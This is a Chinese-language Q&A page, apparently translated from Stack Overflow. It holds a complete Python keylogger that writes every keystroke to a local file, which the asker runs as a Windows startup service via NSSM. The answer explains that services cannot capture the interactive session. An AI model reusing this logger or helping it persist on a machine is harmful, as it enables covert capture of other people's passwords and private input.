运行时Python可执行文件在启动时不写入.txt文件

问题描述 投票:0回答:1

我有一个键盘记录程序,我使用 pyinstaller 将其转换为 .exe,然后使用 NSSM(非吸吮服务管理器)在启动时运行该文件。该文件将所有按下的按键放入 .txt 文件中;但是,它在启动时根本不起作用。当我打开 Windows 服务时,状态为“正在运行”,但我没有看到 .txt 文件正在更新。但是,当我自己运行可执行文件时,它工作正常。

如果有人想知道我是否正在用这个窃取密码,那么让我告诉你这是我大学网络安全课程的一个项目。

import os
from pynput import keyboard

# Set absolute path to the log file
log_file_path = r"F:\Coding\PYTHON-PRACTICE\keylogger\dist\keyfile.txt"

# Ensure the directory exists
os.makedirs(os.path.dirname(log_file_path), exist_ok=True)

# Function to log key presses
def keyPressed(key):
  with open(log_file_path, 'a') as logKey:
    try:
      char = key.char
      logKey.write(char)
    except AttributeError:
      logKey.write(f'[{str(key)}]')

if __name__ == "__main__":
  # Start the listener for key presses
  listener = keyboard.Listener(on_press=keyPressed)
  listener.start()
  listener.join()  # Keep the listener running
python python-3.x pyinstaller keylogger nssm
1个回答
0
投票

我使用 NSSM(Non-Sucking Service Manager)在启动时运行该文件。 [...] 当我打开 Windows 服务时

NSSM 显然将应用程序安装为 Windows 服务。 Windows 服务无法访问交互式会话(有人在键盘上打字的会话),因为它们通常在此类交互式会话开始之前就启动了。 (还要考虑一台机器可能有多个交互式会话,例如远程桌面会话。)

当我自己运行可执行文件时,它工作正常。

因为您是在交互式会话中运行它。

© www.soinside.com 2019 - 2024. All rights reserved.